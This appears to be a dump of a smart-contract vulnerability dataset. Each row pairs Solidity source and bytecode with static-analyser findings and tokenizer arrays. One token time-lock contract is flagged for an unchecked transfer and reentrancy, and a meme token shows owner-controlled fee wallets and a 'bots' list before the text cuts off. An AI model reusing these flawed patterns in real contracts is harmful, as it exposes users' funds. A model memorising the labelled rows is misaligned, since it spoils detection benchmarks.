_contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File @openzeppelin/contracts/access/Ownable.sol@v3.4.1 pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File contracts/boosting/CCV.sol pragma solidity 0.6.12; contract CCV is ERC20, Ownable { uint256 public immutable maxSupply; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _minters; constructor(uint256 _maxSupply) public ERC20("CC Voucher", "CCV"){ maxSupply = _maxSupply; } // mint with max supply function mint(address _to, uint256 _amount) public onlyMinter returns (bool) { if (_amount.add(totalSupply()) > maxSupply) { return false; } _mint(_to, _amount); return true; } function addMinter(address _addMinter) public onlyOwner returns (bool) { require(_addMinter != address(0), "Token: _addMinter is the zero address"); return EnumerableSet.add(_minters, _addMinter); } function delMinter(address _delMinter) public onlyOwner returns (bool) { require(_delMinter != address(0), "Token: _delMinter is the zero address"); return EnumerableSet.remove(_minters, _delMinter); } function getMinterLength() public view returns (uint256) { return EnumerableSet.length(_minters); } function isMinter(address account) public view returns (bool) { return EnumerableSet.contains(_minters, account); } function getMinter(uint256 _index) public view onlyOwner returns (address){ require(_index <= getMinterLength() - 1, "Token: index out of bounds"); return EnumerableSet.at(_minters, _index); } function batchApprove(address[] memory _ccvSpenders, uint256[] memory _ccvAmounts) public returns (bool){ for (uint i = 0; i < _ccvSpenders.length; i++){ approve(_ccvSpenders[i], _ccvAmounts[i]); } return true; } // modifier for mint function modifier onlyMinter() { require(isMinter(msg.sender), "Token: caller is not the minter"); _; } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c806370a08231116100b8578063a457c2d71161007c578063a457c2d7146104be578063a9059cbb146104ea578063aa271e1a14610516578063d5abeb011461053c578063dd62ed3e14610544578063f2fde38b1461057257610142565b806370a0823114610458578063715018a61461047e5780638da5cb5b1461048857806395d89b4114610490578063983b2d561461049857610142565b806323b872dd1161010a57806323b872dd1461024c578063313ce5671461028257806339509351146102a05780633e11b765146102cc57806340c10f19146103f35780635b7121f81461041f57610142565b80630323aac71461014757806306fdde0314610161578063095ea7b3146101de57806318160ddd1461021e57806323338b8814610226575b600080fd5b61014f610598565b60408051918252519081900360200190f35b6101696105a9565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a357818101518382015260200161018b565b50505050905090810190601f1680156101d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61020a600480360360408110156101f457600080fd5b506001600160a01b03813516906020013561063f565b604080519115158252519081900360200190f35b61014f61065d565b61020a6004803603602081101561023c57600080fd5b50356001600160a01b0316610663565b61020a6004803603606081101561026257600080fd5b506001600160a01b03813581169160208101359091169060400135610717565b61028a61079e565b6040805160ff9092168252519081900360200190f35b61020a600480360360408110156102b657600080fd5b506001600160a01b0381351690602001356107a7565b61020a600480360360408110156102e257600080fd5b8101906020810181356401000000008111156102fd57600080fd5b82018360208201111561030f57600080fd5b8035906020019184602083028401116401000000008311171561033157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561038157600080fd5b82018360208201111561039357600080fd5b803590602001918460208302840111640100000000831117156103b557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506107f5945050505050565b61020a6004803603604081101561040957600080fd5b506001600160a01b03813516906020013561083b565b61043c6004803603602081101561043557600080fd5b50356108e2565b604080516001600160a01b039092168252519081900360200190f35b61014f6004803603602081101561046e57600080fd5b50356001600160a01b03166109b0565b6104866109cb565b005b61043c610a7d565b610169610a91565b61020a600480360360208110156104ae57600080fd5b50356001600160a01b0316610af2565b61020a600480360360408110156104d457600080fd5b506001600160a01b038135169060200135610ba6565b61020a6004803603604081101561050057600080fd5b506001600160a01b038135169060200135610c0e565b61020a6004803603602081101561052c57600080fd5b50356001600160a01b0316610c22565b61014f610c2f565b61014f6004803603604081101561055a57600080fd5b506001600160a01b0381358116916020013516610c53565b6104866004803603602081101561058857600080fd5b50356001600160a01b0316610c7e565b60006105a46006610d8c565b905090565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106355780601f1061060a57610100808354040283529160200191610635565b820191906000526020600020905b81548152906001019060200180831161061857829003601f168201915b5050505050905090565b600061065361064c610d97565b8484610d9b565b5060015b92915050565b60025490565b600061066d610d97565b6001600160a01b031661067e610a7d565b6001600160a01b0316146106c7576040805162461bcd60e51b815260206004820181905260248201526000805160206114d0833981519152604482015290519081900360640190fd5b6001600160a01b03821661070c5760405162461bcd60e51b81526004018080602001828103825260258152602001806114386025913960400191505060405180910390fd5b610657600683610e87565b6000610724848484610ea3565b61079484610730610d97565b61078f856040518060600160405280602881526020016114a8602891396001600160a01b038a1660009081526001602052604081209061076e610d97565b6001600160a01b031681526020810191909152604001600020549190610ffe565b610d9b565b5060019392505050565b60055460ff1690565b60006106536107b4610d97565b8461078f85600160006107c5610d97565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611095565b6000805b83518110156107945761083284828151811061081157fe5b602002602001015184838151811061082557fe5b602002602001015161063f565b506001016107f9565b600061084633610c22565b610897576040805162461bcd60e51b815260206004820152601f60248201527f546f6b656e3a2063616c6c6572206973206e6f7420746865206d696e74657200604482015290519081900360640190fd5b7f0000000000000000000000000000000000000001431e0fae6d7217caa00000006108ca6108c361065d565b8490611095565b11156108d857506000610657565b61065383836110ef565b60006108ec610d97565b6001600160a01b03166108fd610a7d565b6001600160a01b031614610946576040805162461bcd60e51b815260206004820181905260248201526000805160206114d0833981519152604482015290519081900360640190fd5b6001610950610598565b038211156109a5576040805162461bcd60e51b815260206004820152601a60248201527f546f6b656e3a20696e646578206f7574206f6620626f756e6473000000000000604482015290519081900360640190fd5b6106576006836111df565b6001600160a01b031660009081526020819052604090205490565b6109d3610d97565b6001600160a01b03166109e4610a7d565b6001600160a01b031614610a2d576040805162461bcd60e51b815260206004820181905260248201526000805160206114d0833981519152604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106355780601f1061060a57610100808354040283529160200191610635565b6000610afc610d97565b6001600160a01b0316610b0d610a7d565b6001600160a01b031614610b56576040805162461bcd60e51b815260206004820181905260248201526000805160206114d0833981519152604482015290519081900360640190fd5b6001600160a01b038216610b9b5760405162461bcd60e51b81526004018080602001828103825260258152602001806114836025913960400191505060405180910390fd5b6106576006836111eb565b6000610653610bb3610d97565b8461078f856040518060600160405280602581526020016115396025913960016000610bdd610d97565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610ffe565b6000610653610c1b610d97565b8484610ea3565b6000610657600683611200565b7f0000000000000000000000000000000000000001431e0fae6d7217caa000000081565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610c86610d97565b6001600160a01b0316610c97610a7d565b6001600160a01b031614610ce0576040805162461bcd60e51b815260206004820181905260248201526000805160206114d0833981519152604482015290519081900360640190fd5b6001600160a01b038116610d255760405162461bcd60e51b81526004018080602001828103825260268152602001806113f06026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b600061065782611215565b3390565b6001600160a01b038316610de05760405162461bcd60e51b81526004018080602001828103825260248152602001806115156024913960400191505060405180910390fd5b6001600160a01b038216610e255760405162461bcd60e51b81526004018080602001828103825260228152602001806114166022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000610e9c836001600160a01b038416611219565b9392505050565b6001600160a01b038316610ee85760405162461bcd60e51b81526004018080602001828103825260258152602001806114f06025913960400191505060405180910390fd5b6001600160a01b038216610f2d5760405162461bcd60e51b81526004018080602001828103825260238152602001806113cd6023913960400191505060405180910390fd5b610f388383836112df565b610f758160405180606001604052806026815260200161145d602691396001600160a01b0386166000908152602081905260409020549190610ffe565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610fa49082611095565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000818484111561108d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561105257818101518382015260200161103a565b50505050905090810190601f16801561107f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610e9c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b03821661114a576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b611156600083836112df565b6002546111639082611095565b6002556001600160a01b0382166000908152602081905260409020546111899082611095565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000610e9c83836112e4565b6000610e9c836001600160a01b038416611348565b6000610e9c836001600160a01b038416611392565b5490565b600081815260018301602052604081205480156112d5578354600019808301919081019060009087908390811061124c57fe5b906000526020600020015490508087600001848154811061126957fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061129957fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610657565b6000915050610657565b505050565b815460009082106113265760405162461bcd60e51b81526004018080602001828103825260228152602001806113ab6022913960400191505060405180910390fd5b82600001828154811061133557fe5b9060005260206000200154905092915050565b60006113548383611392565b61138a57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610657565b506000610657565b6000908152600191909101602052604090205415159056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647345524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373546f6b656e3a205f64656c4d696e74657220697320746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365546f6b656e3a205f6164644d696e74657220697320746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122011fa13854ed87b7b899aaf668f4c91983d8d85e5696ab14cf2a5e0a88af077bd64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2497, 2487, 2497, 8889, 2581, 16048, 2629, 2278, 24434, 22407, 10790, 10354, 2692, 12740, 2094, 19961, 22203, 16048, 15878, 16932, 21456, 2620, 2050, 2475, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1030, 1058, 2509, 1012, 1018, 1012, 1015, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,387
0x96b1f48cad88c267fe4b3860e4aea97c7d7205b4
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 28684800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xB7DA2b563d7d6BeaC9B590AbC793E002b785Ff7e; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a723058203285742fb6c52a2230a1547526bdc606f1e40b4c365f22617fb3e07eb58f77b20029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2497, 2487, 2546, 18139, 3540, 2094, 2620, 2620, 2278, 23833, 2581, 7959, 2549, 2497, 22025, 16086, 2063, 2549, 21996, 2683, 2581, 2278, 2581, 2094, 2581, 11387, 2629, 2497, 2549, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,388
0x96b21b6ec0e6d4524d7827b03b6d4425ee1ff886
/** --------------------------------------------------------------------------- Gravitas ERC20 Elon Tweet Coin t.me/GravitasErc --------------------------------------------------------------------------- */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Gravitas is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 45000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address payable private _feeAddrWallet3; string private constant _name = "Gravitas"; string private constant _symbol = "Gravitas"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x42d1E3B42bFC4f99d1A07299D6AF11d35062789e); _feeAddrWallet2 = payable(0x1f8e6cdD6250c13a2E82F46BCbd33DE3b2d0c0ce); _feeAddrWallet3 = payable(0x1f8e6cdD6250c13a2E82F46BCbd33DE3b2d0c0ce); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view 